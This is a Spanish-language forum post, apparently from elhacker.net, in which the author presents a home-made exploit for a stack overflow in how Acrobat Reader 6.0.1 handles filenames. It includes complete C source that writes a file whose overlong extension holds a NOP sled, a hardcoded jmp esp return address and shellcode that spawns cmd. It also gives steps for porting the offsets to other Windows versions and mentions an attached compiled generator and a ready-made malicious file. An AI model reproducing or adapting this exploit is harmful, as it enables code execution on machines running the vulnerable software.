Bueno, como me aburro estudiando

he creado otro exploit que no estaba por la red. Supongo que no estaba por lo facil que es implementarlo (a mi me ha costado, pero por la inexperiencia, no porque fuera dificil).
Pues eso

Aqui pongo un link al advisory (bastante escueto) donde explica el fallo del Acrobat Reader 6.0.1 y anteriores:
http://www.security.nnov.ru/search/document.asp?docid=6476Basicamente, el Acrobat Reader 6.0.1 no trata "bien" la extension de los archivos, y una extension sumamente larga, pues provoca un stack overflow. Al principio, baraje que solo se podia a traves de NULLs como dice el advisory, pero eso da igual, simplemente si la extension es larga, el adobe peta.
Bien, antes de nada, 2 limitaciones del exploit:
- En teoria, solo funciona en Win XP SP1 y SP0, y solo lo hemos testeado (antes de publicarlo, los colaboradores de elhacker.net) en el 6.0.1 y el 6.0.0. Cambiarlo para que funcione en Win 2k o en Win XP SP2 es bastante trivial, eso lo dejare para los demas.
Pero, en 2 casos, 2 Windows XP SP1 con el Adobe 6.0.1 no ha funcioando el exploit (en este caso el offset de user32.dll), no permitia ejecutar la instruccion de esa direccion.
Ahora trataremos esos fallos

- Solo funciona el exploit (esto si que no se porque es....) si el archivo "malicioso" es abierto desde el acrobat reader y NO con "Abrir con...". No se porque es asi, deberia funcionar, pero... no funciona. Al abrirlo con "Abrir con..." se empiezan a ejecutar cmd.exe y puede acabar el sistema sin memoria. Si alguien sabe porque pasa eso, estare encantado de modificar el exploit completo, aunque estoy seguro que es la shellcode, que no funciona bien xD
En fin, aqui va el exploit, codeado en C. Genera un archivo con una extension maliciosa que al abrirlo con el Acrobat Reader 6.0.1 o 6.0.0 en un Win XP SP1, salta una shell cmd local

#include <stdio.h>
#include <string.h>
#include <windows.h>
int main (int argc, char **argv) {
FILE *pdffile;
char sc[]= //Creada y modificada para este exploit, nada del otro mundo. Usa offset system hardcodeado.
"\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\xb8\x44\x80\xbf\x77"
"\x50\x8d\x5d\xfc\x53\xff\xd0"; // offset system() msvcrt.dll 77bf8044
char filename_completo[79];
char buffer_con_nops[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90";
printf ("Exploit generador de ficheros pdf, vulnerables a Adobe Reader 6.0.1 Filename Handler Buffer Overflow\n");
printf ("Descubierto por iDefense\n");
printf ("Este exploit simplemente crea un archivo que al abrirlo con el Acrobat Reader 6.0.1 salta una shell cmd\n");
printf ("\n\n");
printf ("Saludos al foro de elhacker.net --> http://foro.elhacker.net\n");
printf ("Agradecimientos a Ripe de 7a69, a sha0, a mek, al brujo y a todos los que han testeado el exploit antes de publicarlo\n");
printf ("Y a ella, Ishtar :)\n");
printf ("-- Rojodos -- rojodos2[at]yahoo[dot]es --\n");
snprintf(filename_completo, 78,"%s%s%c%c%c%c%s%c", "prueba_pdf_overflow.",buffer_con_nops,0xfb,0xc5,0xd7,0x77,sc,0x00);
printf ("%s", filename_completo);
pdffile = fopen (filename_completo,"a+");
fclose (pdffile);
return 0;
}
En la shellcode, se ve donde esta el offset de system() (\x44\x80\xbf\x77), asi como en el snprintf se ve el offset del jmp esp (0xfb,0xc5,0xd7,0x77), he usado user32.dll. Ambos offset deben ser cambiados para que funcione en otros Windows.
El offset del jmp esp lo podeis buscar con el findjmp (findjmp user32.dll esp o otra dll que carge el acrobat) y el de msvcrt.dll pues codeando un system("pause") por ejemplo, y con el olly, ver a donde apunta la funcion msvcrt.system.
En el adjunto de este post, en el archivo RAR, estaran estos 3 ficheros:
- Generador en C del archivo malicioso (el codigo de arriba)
- Generador compilado (para los que no tengan compilador C)
- Y archivo "malicioso" que habre un cmd (para los que, raro raro, no les funcione el generador)
Me gustaria pedir que lo probaran (los que tengan el Win XP SP1 y un acrobat reader 6.0.1 o 6.0.0) y me dijeran si salta la shell, diciendo su version de Windows (tiene que ser SP1 español seguramente) y la del acrobat.
A los que tengan el XP Sp1 español y una de las dos versiones del acrobat y que no les salte la shell, les pedire que me hagan esto en una shell cmd y lo posteen:
findjmp user32.dll esp > user32_offset.txt
Me postean, por favor, los 10 primeros resultados (es bastante largo, cerca de 100), no todo el archivo entero. El mio es asi, los 10 primeros resultados:
Scanning user32.dll for code useable with the esp register
0x77D4A145 jmp esp
0x77D7AAEB call esp
0x77D7BEFF call esp
0x77D7C5FB jmp esp <---- Este es el offset que uso
0x77D7C60B jmp esp
0x77D7C617 jmp esp
0x77D82AC8 jmp esp
0x77D83938 jmp esp
0x77D83A68 jmp esp
0x77D8408C jmp esp
Nos tendria que salir igual. Si no sale igual, por alguna misteriosa razon que desconozco, tenemos la misma version del Windows XP, pero distintas DLLs (cuestion de parches? ya me pierdo). Si sale igual, entonces me corto las venas, porque a mi si me deja "saltar" ahi, pero alguien no...
Si alguien es capaz de decirme porque no se puede petar el acrobat con "Abrir con.." (se abren cientos de shells cmd, no se porque!!!) o explicarme el porque en algunos Win XP SP1 funciona (con el mismo acrobat) y en otros no, le estare eternamente agradecido... Si esos dos fallos los arreglamos, pues creo que no estaria nada mal mandarlo a bugtraq (aunque el fallo es antiguo, de Julio, aunque casi todos los colaboradores teniamos Acrobats vulnerables xDDD

)
Creo que es todo, solo agradecer a Ripe de 7a69, mek, sha0, el brujo y todo el staff de elhacker.net su colaboracion y ayuda en codear el exploit y que funcione correctamente

Y seguiremos codeando!
